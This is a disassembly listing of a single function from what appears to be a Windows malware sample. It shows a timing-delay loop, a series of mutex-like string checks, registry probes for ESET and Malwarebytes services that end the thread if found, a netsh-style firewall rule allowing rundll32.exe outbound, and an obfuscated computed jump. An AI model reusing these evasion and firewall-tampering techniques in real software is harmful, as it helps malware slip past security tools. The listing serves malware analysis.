Function at 0x4011e6
Capabilities:
Create thread
Get common file path

Disassembly:
push 0x2c4024
push 8
push eax
call sub.kernel32.dll_HeapAlloc
mov dword [0x43eda4], eax
mov edi, 0x3e8
mov esi, 0x3a98
mov ebx, 0x3e8
inc eax
rol eax, 1
dec ebx
jne 0x401207
dec esi
jne 0x401202
dec edi
jne 0x4011fd
push eax
lea edx, [esp - 1]
inc edx
mov dword [0x445756], edx
dec ecx
mov edx, str.UEFIConfig
call fcn.004011b7
mov edx, str.IwS01003993
call fcn.004011b7
mov edx, str.N800HANOI
call fcn.004011b7
mov edx, str.PCV5ATULCN
call fcn.004011b7
mov edx, 0x43e103
call fcn.004011b7
mov edx, str.VRK1AlIXBJDA5U3A
call fcn.004011b7
mov edx, str.Tropic819331
call fcn.004011b7
mov edx, str.3G1S91V5ZA5fB56W
call fcn.004011b7
mov edx, str.VideoBind
call fcn.004011b7
mov edx, str.bitcoreguard
call fcn.004011b7
mov edx, str.NHO9AZB7HDK0WAZMM
call fcn.004011b7
mov edx, str.KDOWEtRVAB
call fcn.004011b7
mov edx, str.P79zA00FfF3
call fcn.004011b7
mov edx, str.D1JozWrldD
call fcn.004011b7
mov edx, str.sqlcasheddbm
call fcn.004011b7
mov edx, str.wwallmutex
call fcn.004011b7
mov edx, str.FMPsDSCV0l
call fcn.004011b7
mov edx, str.FixLCD
call fcn.004011b7
mov edx, str.VHO9AZB7HDK0WAZMM
call fcn.004011b7
mov edx, str.8AZB70HDFK0WOZIZ
call fcn.004011b7
mov edx, str.ImageCreator_v4.2
call fcn.004011b7
mov edx, str.China1839099
call fcn.004011b7
mov edx, str.FoloDrite
call fcn.004011b7
mov edx, str.OMXBJSJ3WA1ZIN
call fcn.004011b7
mov edx, str.NeoNetPlasma
call fcn.004011b7
mov edx, str.MLIXNJ9AEGPSE
call fcn.004011b7
mov edx, str.NNDRIOZ8933
call fcn.004011b7
mov edx, str.WireDefender
call fcn.004011b7
mov edx, str.SoloWrite
call fcn.004011b7
mov edx, str.CryptoMaxima
call fcn.004011b7
mov edx, str.InRAMQueue
call fcn.004011b7
mov edx, str.HTTPBalancer_v2.15
call fcn.004011b7
mov edx, str.NMOZAQcxzER
call fcn.004011b7
mov edx, str.China4150039
call fcn.004011b7
mov edx, str.NetRegistry
call fcn.004011b7
mov edx, str.BlueEye
call fcn.004011b7
mov edx, str.Hk4kKLL0ZAF8a
call fcn.004011b7
mov edx, str.CBKZiOPASRHKL
call fcn.004011b7
mov edx, str.VirtualDesktopKeeper
call fcn.004011b7
mov edx, str.WinDuplicity
call fcn.004011b7
mov edx, str.IntelBIOSReader
call fcn.004011b7
mov edx, str.RedParrot
call fcn.004011b7
mov edx, str.UtopicUnicorn
call fcn.004011b7
mov edx, str.NetworkLighter
call fcn.004011b7
mov edx, str.PSHZ73VLLOAFB
call fcn.004011b7
mov edx, str.PJOQT7WD1SAOM
call fcn.004011b7
mov edx, str.ATYNKAJP30Z9AQ
call fcn.004011b7
mov edx, str.JKLSXX1ZA1QRLER
call fcn.004011b7
mov edx, str.I0N8129AZR1A
call fcn.004011b7
mov edx, str.MLIXNJAEGPSE
call fcn.004011b7
push 0x44193f
push 0x20019
push 0
push str.SoftwareESET
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
or eax, eax
jne 0x401439
call sub.kernel32.dll_ExitThread
ret
push 0x44193f
push 0x20019
push 0
push str.SYSTEMControlSet001ServicesMBAMProtection
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
or eax, eax
jne 0x40145e
call sub.kernel32.dll_ExitThread
ret
push 0x44193f
push 0x20019
push 0
push str.SYSTEMControlSet001ServicesMBAMService
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
or eax, eax
jne 0x401485
call sub.kernel32.dll_ExitThread
ret 4
mov dword [0x4451b6], eax
mov edi, eax
mov ebx, eax
inc ebx
mov dword [0x445752], eax
push 0x258
lea edx, [0x4464a6]
push edx
push 0
call sub.kernel32.dll_GetModuleFileNameA
cmp byte [0x4464a6], 0x5a
je 0x4014b9
cmp byte [0x4464a6], 0x7a
jne 0x4014c0
push 0xffffffffffffffff
call sub.kernel32.dll_Sleep
push 0x3e8
push 0x447c16
call sub.kernel32.dll_GetWindowsDirectoryA
push str._system32_rundll32.exe
push 0x447c16
call main
push 0x447c16
push str.advfirewall_firewall_add_rule_name_Rundll32__dirout_actionallow_protocolany_program_C:Windows_system32_rundll32.exe_
call main
push 0x43e65b
push str.advfirewall_firewall_add_rule_name_Rundll32__dirout_actionallow_protocolany_program_C:Windows_system32_rundll32.exe_
call main
push 0x43e858
push 0
push 0
push 0x401014
push 0
push 0
call sub.kernel32.dll_CreateThread
mov ebx, 9
inc ebx
inc ebx
lea esi, [0x4452c0]
push ebx
add edx, 1
shl esi, 1
add edx, 1
xchg esi, ebx
inc edx
pop ebx
mov edi, 0x4451c6
rdtsc
rol eax, 3
push eax
dec eax
pop dword [edi]
rol eax, 2
inc eax
push eax
pop dword [edi + 4]
rol eax, 1
push eax
pop dword [edi + 8]
push eax
mov edx, 0x5f5e100
xchg edx, ecx
xor edx, esi
sub ecx, 1
mov dword [0x444e24], 0x43e6ac
add dword [0x444e24], 0x64
mov eax, dword [0x444e24]
push 0x2ee857
add dword [esp], 0x112d22
ret